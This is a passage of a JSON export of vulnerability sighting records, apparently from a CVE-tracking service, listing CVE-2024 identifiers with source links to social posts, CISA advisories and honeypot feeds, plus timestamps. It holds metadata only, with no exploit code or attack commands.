"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh433nwb6i2w", "content": "", "creation_timestamp": "2025-02-01T08:15:32.295752Z"}, {"uuid": "844576ae-aa17-42b1-906c-1726db7c04fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/nlnetlabs.bsky.social/post/3lgfpxfwvlc2w", "content": "", "creation_timestamp": "2025-01-23T10:57:45.602064Z"}, {"uuid": "152abb7f-2010-4ad5-81af-3f41973ee555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113877374707226769", "content": "", "creation_timestamp": "2025-01-23T11:14:00.229282Z"}, {"uuid": "da4d7ebb-8969-48e3-b15a-82aba4b08b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327149367781", "content": "", "creation_timestamp": "2025-01-30T16:50:57.525684Z"}, {"uuid": "efd85b93-1cb1-439f-8b36-4727d7f8add0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-06", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "d534e42f-6395-44b0-a15a-5a8b310767bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-05", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "9faaf491-dc71-4e40-9671-3e5397092c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfqxi3rsh27", "content": "", "creation_timestamp": "2025-01-23T11:15:40.196389Z"}, {"uuid": "9535f27a-12f1-4fd3-88aa-e39fcf533d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941609009302527", "content": "", "creation_timestamp": "2025-02-03T19:29:38.126632Z"}, {"uuid": "632fe703-7833-400d-bb28-5bc2ae86868d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-028-06", "content": "", "creation_timestamp": "2025-01-28T11:00:00.000000Z"}, {"uuid": "137dab6b-cb20-4f0b-90d6-9746043a60a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941668012938469", "content": "", "creation_timestamp": "2025-02-03T19:44:38.144165Z"}, {"uuid": "4c1b0eb1-1956-4d36-8fbe-de200933a7ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898874756198477", "content": "", "creation_timestamp": "2025-01-27T06:21:44.929661Z"}, {"uuid": "b6ee664d-d447-4460-8a69-edfba860a5f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.083457Z"}, {"uuid": "aa3b2af6-2932-4ba8-a0f3-fe173bca0271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.122800Z"}, {"uuid": "2d1105b1-5d02-4be7-92d7-8cb7ac26c79a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.158011Z"}, {"uuid": "740e4a5c-95d7-4e6d-b4e7-669026941d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/pabloyglesias.com/post/3lgfrcpkjr62o", "content": "", "creation_timestamp": "2025-01-23T11:21:58.269248Z"}, {"uuid": "cc1475c7-9508-4711-8aff-cc69dca52bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfscmtong2k", "content": "", "creation_timestamp": "2025-01-23T11:39:48.786266Z"}, {"uuid": "e1341090-9c7c-42fc-8216-8c3fa4c8e4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgwl3kmook2s", "content": "", "creation_timestamp": "2025-01-30T03:45:55.066680Z"}, {"uuid": "54741a41-47e2-4cb0-8813-953b2d57d348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lgxz5linmv2q", "content": "", "creation_timestamp": "2025-01-30T17:30:10.670924Z"}, {"uuid": "3b3919ea-251d-421a-be20-7476122e1472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgzi2xkuds2g", "content": "", "creation_timestamp": "2025-01-31T07:29:48.267890Z"}, {"uuid": "2b9a707e-5afa-49d7-8b92-26580f371b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfudjzlud2f", "content": "", "creation_timestamp": "2025-01-23T12:16:05.841516Z"}, {"uuid": "c13b59c5-fb4c-4d8b-b99a-dfb32f251652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfudm7wnz27", "content": "", "creation_timestamp": "2025-01-23T12:16:08.029406Z"}, {"uuid": "2125c0fe-7251-497e-b152-061b0e815d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdximm7r2u", "content": "", "creation_timestamp": "2025-01-27T06:49:41.245286Z"}, {"uuid": "8dd08944-0306-4ea4-be2d-4fd25023db81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxitiio2i", "content": "", "creation_timestamp": "2025-01-27T06:49:42.331983Z"}, {"uuid": "9271b6fa-312e-4fde-8709-aeafc60c0d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxiye5g2g", "content": "", "creation_timestamp": "2025-01-27T06:49:42.980888Z"}, {"uuid": "a492d019-d526-4567-a183-15d68940a598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcec765r52r", "content": "", "creation_timestamp": "2025-02-03T20:16:13.640179Z"}, {"uuid": "f4f1474a-4414-40fd-a0a2-4127aadbaa32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcecc4zhb2t", "content": "", "creation_timestamp": "2025-02-03T20:16:16.633515Z"}, {"uuid": "15cb85d2-0f44-4e57-b0d0-36f2eb894046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxjdl3v2q", "content": "", "creation_timestamp": "2025-01-27T06:49:44.616649Z"}, {"uuid": "4de6ba21-49d9-4821-b2a6-30e6cf855cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113904500113068387", "content": "", "creation_timestamp": "2025-01-28T06:12:21.146240Z"}, {"uuid": "80dc168c-2e12-487f-92a9-65fdfec23fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113904500129126642", "content": "", "creation_timestamp": "2025-01-28T06:12:21.350301Z"}, {"uuid": "00225ad8-e7c6-49dd-88d5-90510901c6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxjgtds2r", "content": "", "creation_timestamp": "2025-01-27T06:49:45.204603Z"}, {"uuid": "eeae4fe3-d7a6-404c-9959-f22e399b7117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrsjvjego2n", "content": "", "creation_timestamp": "2025-01-28T06:15:48.545611Z"}, {"uuid": "32887377-0819-4894-a833-4a788048cb8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/isc.org/post/3lgvayr3plk2q", "content": "", "creation_timestamp": "2025-01-29T15:12:38.874719Z"}, {"uuid": "66693dff-6291-43d4-aefc-902db4783509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrsjyeftd2r", "content": "", "creation_timestamp": "2025-01-28T06:15:51.597572Z"}, {"uuid": "aba11229-e3dc-4335-b7b9-3fd1294ec9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113918699481002958", "content": "", "creation_timestamp": "2025-01-30T18:23:26.084278Z"}, {"uuid": "f77657b9-dab5-4981-9cc3-c1189ba3f13b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfvnxvww72k", "content": "", "creation_timestamp": "2025-01-23T12:39:49.764006Z"}, {"uuid": "e9c2d904-65d2-4399-8fc6-46ce62cb6e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915640840193737", "content": "", "creation_timestamp": "2025-01-30T05:25:35.006764Z"}, {"uuid": "36ae78d3-6d48-4335-9950-13aedd3fa07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfvnyroae2g", "content": "", "creation_timestamp": "2025-01-23T12:39:52.854004Z"}, {"uuid": "323faae2-9756-4063-b743-1201a070b6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812639179134", "content": "", "creation_timestamp": "2025-01-30T06:09:16.344064Z"}, {"uuid": "e50cc159-af47-425d-a04e-6530b1013029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812673966819", "content": "", "creation_timestamp": "2025-01-30T06:09:16.856492Z"}, {"uuid": "3a56983d-fe0f-43c8-873f-9c2cbe44bc01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgrvbssl3c2q", "content": "", "creation_timestamp": "2025-01-28T07:04:58.744164Z"}, {"uuid": "645c5aa2-73fb-4680-862c-090b98402d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812708813731", "content": "", "creation_timestamp": "2025-01-30T06:09:17.390902Z"}, {"uuid": "61b0802a-188d-49ee-81f7-775016928384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-02)", "content": "", "creation_timestamp": "2025-02-02T00:00:00.000000Z"}, {"uuid": "7000f347-687a-4e35-b5a0-8b00287e9e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthi4uei2c", "content": "", "creation_timestamp": "2025-01-30T06:15:39.956608Z"}, {"uuid": "f57cf38a-5829-4938-987c-33805a9781d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthuotr42j", "content": "", "creation_timestamp": "2025-01-30T06:15:53.269315Z"}, {"uuid": "052407a1-df15-4380-98d0-3f329891800a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthxe6le2p", "content": "", "creation_timestamp": "2025-01-30T06:15:55.722206Z"}, {"uuid": "fec6d8ac-7639-4a9a-af82-e09d80a1a6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113882618809076162", "content": "", "creation_timestamp": "2025-01-24T09:27:38.730273Z"}, {"uuid": "c82ee85f-13f1-453f-835b-76112eb790e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti25yv32n", "content": "", "creation_timestamp": "2025-01-30T06:15:58.762422Z"}, {"uuid": "534a03f5-5097-4519-b471-f749b96f4ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgrvbtqk7x2e", "content": "", "creation_timestamp": "2025-01-28T07:05:02.656458Z"}, {"uuid": "5afae43c-2178-4f60-bd0c-39a871fd2fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti56psl2c", "content": "", "creation_timestamp": "2025-01-30T06:16:01.835682Z"}, {"uuid": "ced1a927-9756-4b12-91a3-504792c70613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113941919559416038", "content": "", "creation_timestamp": "2025-02-03T20:48:37.232765Z"}, {"uuid": "4e9ba69a-adfc-4eda-abdd-4927067ec21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti7re2v2t", "content": "", "creation_timestamp": "2025-01-30T06:16:04.562874Z"}, {"uuid": "e9929521-480c-429a-93a2-3d1f662629bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915871707800729", "content": "", "creation_timestamp": "2025-01-30T06:24:17.752054Z"}, {"uuid": "a2fd3f46-4aa5-43c5-9741-7621f0d3b1e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915871722055927", "content": "", "creation_timestamp": "2025-01-30T06:24:18.469267Z"}, {"uuid": "0974234c-d2e1-4d79-afaf-e8d372f8d55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113899992485971241", "content": "", "creation_timestamp": "2025-01-27T11:06:00.055681Z"}, {"uuid": "131ae7d2-cbd2-4184-8114-e66cfb84dada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhdt4cvzdc2g", "content": "", "creation_timestamp": "2025-02-04T10:14:06.388761Z"}, {"uuid": "a1884e23-b5aa-466c-8b92-9c008df0b402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh47swcbpv2g", "content": "", "creation_timestamp": "2025-02-01T09:40:07.290098Z"}, {"uuid": "28141cc4-dbfa-4ba3-ae18-ed727bd4145b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpstcow3g2t", "content": "", "creation_timestamp": "2025-01-27T11:15:45.199977Z"}, {"uuid": "f905be10-4982-431a-b6fb-931a3976faf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh4gsmythy2g", "content": "", "creation_timestamp": "2025-02-01T11:45:13.710354Z"}, {"uuid": "1c486b05-d864-47ca-ae7d-61a3fa32c96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuos4cvj2t", "content": "", "creation_timestamp": "2025-01-31T11:15:38.168310Z"}, {"uuid": "d039bfe9-5411-4cd7-9c90-090023819f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12415", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuowtwzl2e", "content": "", "creation_timestamp": "2025-01-31T11:15:43.028392Z"}, {"uuid": "3615aeba-f559-4c9e-ac7f-3882d31726cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhj6aypkuy2n", "content": "", "creation_timestamp": "2025-02-06T13:16:49.179238Z"}, {"uuid": "191dff34-2d55-4241-a07d-7d30bdeb1363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuouktwn2b", "content": "", "creation_timestamp": "2025-01-31T11:15:40.629202Z"}, {"uuid": "83e542ed-514e-4962-bc00-04a5a8bb4861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113929186538299046", "content": "", "creation_timestamp": "2025-02-01T14:50:26.670376Z"}, {"uuid": "09cccfcb-15fb-4a7f-9b97-e6588e568dde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113929186538299046", "content": "", "creation_timestamp": "2025-02-01T14:50:26.728995Z"}, {"uuid": "5896590e-5bee-48fd-9cb3-ef3d7951eb64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "f1367ece-1bbc-4aeb-ad8e-bfac4d125ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lhbqxeycuq2g", "content": "", "creation_timestamp": "2025-02-03T14:30:16.765477Z"}, {"uuid": "7632cb60-629f-48fa-a6c6-cf5f4c05eaaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "", "creation_timestamp": "2026-07-09T03:00:10.491762Z"}, {"uuid": "7e264532-c3e8-485e-9d25-79c4f74f1770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lgzycr6lmw2p", "content": "", "creation_timestamp": "2025-01-31T12:20:29.601757Z"}, {"uuid": "e36fffbc-5b35-4c79-8582-d1e46eead6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12647", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgwxhtxbcc2b", "content": "", "creation_timestamp": "2025-01-30T07:27:27.465377Z"}, {"uuid": "2dff26c3-ad68-412d-8278-ae7c050942bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgyh4awrss25", "content": "", "creation_timestamp": "2025-01-30T21:39:58.500547Z"}, {"uuid": "b8bb9d26-25b3-4622-af78-a756e5b61717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgq73klgd52w", "content": "", "creation_timestamp": "2025-01-27T14:55:09.619467Z"}, {"uuid": "8968cf73-86ed-41fe-8c9c-c618b24f0ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgyh6dooh225", "content": "", "creation_timestamp": "2025-01-30T21:41:12.576504Z"}, {"uuid": "1336cc26-ca10-41ba-b434-e7a772e5c221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgsjg55bh42e", "content": "", "creation_timestamp": "2025-01-28T13:05:20.073629Z"}, {"uuid": "1749ada2-e607-4a9e-9d77-fa70b607f85b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgyhrueimy2x", "content": "", "creation_timestamp": "2025-01-30T21:52:03.578486Z"}, {"uuid": "3d5866b8-5e24-4a3f-9b6f-1d8589125150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 